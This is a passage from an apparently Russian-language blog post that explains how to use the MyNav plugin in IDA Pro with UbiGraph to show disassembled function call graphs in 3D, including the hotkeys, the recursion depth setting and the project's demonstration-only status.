15 # ubi_server_url and ubi_local_addr
16 #
17

После выполнения всех перечисленных манипуляций можно запускать IDA Pro и начинать работу.

Загрузка плагина MyNav производится с помощью пункта главного меню "File" -> "Script file...", или по горячей клавише Alt+F7. В появившемся диалоге выбора файла требуется открыть mynav-1.1-ubigraph/mynav.py. Если IDAPython корректно установлен, то после этого в главном меню "Edit" -> "Plugins" появится около двух десятков новых пунктов, соответствующих MyNav. Среди них для нашей задачи наиболее интересен "MyNav: Show browser", который так же доступен по горячей клавише Ctrl+Shift+B.

Открыв вкладку с листингом дизассемблированного кода, установив курсор на начало какой-либо процедуры и нажав Ctrl+Shift+B --  мы вызовем MyNav, который задаст вопрос об глубине рекурсивного сканирования дерева функций при построении их графа:



Обычно, оптимальным является число от 1 до 3, так как при указании большей глубины граф получится слишком объёмным. После нажатия на <OK> MyNav построит граф на отдельной вкладке в окне IDA. В это же время, в окне UbiGraph будет построена 3D версия того же графа. При правильных настройках в IDA Output Window так же появится уведомление об успешном подключении к серверу UbiGraph:



Команды, вызываемые в контекстном меню графа MyNav (например: скрыть/показать строки, или скрыть/показать вызовы API), соответствующим образом сказываются и на графе в UbiGraph. Поскольку в самой IDA может быть открыто множество вкладок с графами, в окне UbiGraph будет отображаться самый последний из них.

Работа с UbiGraph в IDA Pro на видео:

3D graphs in IDA Pro with MyNav and UbiGraph from Dmytro on Vimeo.


К сожалению, проект IDA-UbiGraph носит исключительно демонстрационный характер, так как его полноценное развитие не возможно без доработок и глубокой модификации самого UbiGraph. Однако, я буду рад, если после прочтения данной заметки другие программисты и хакеры обратят своё внимание на такую интересную тему, как 3D визуализации в области анализа кода и реверс-инженеринга, и так же начнут свои исследования в данном направлении.

Полезные ссылки: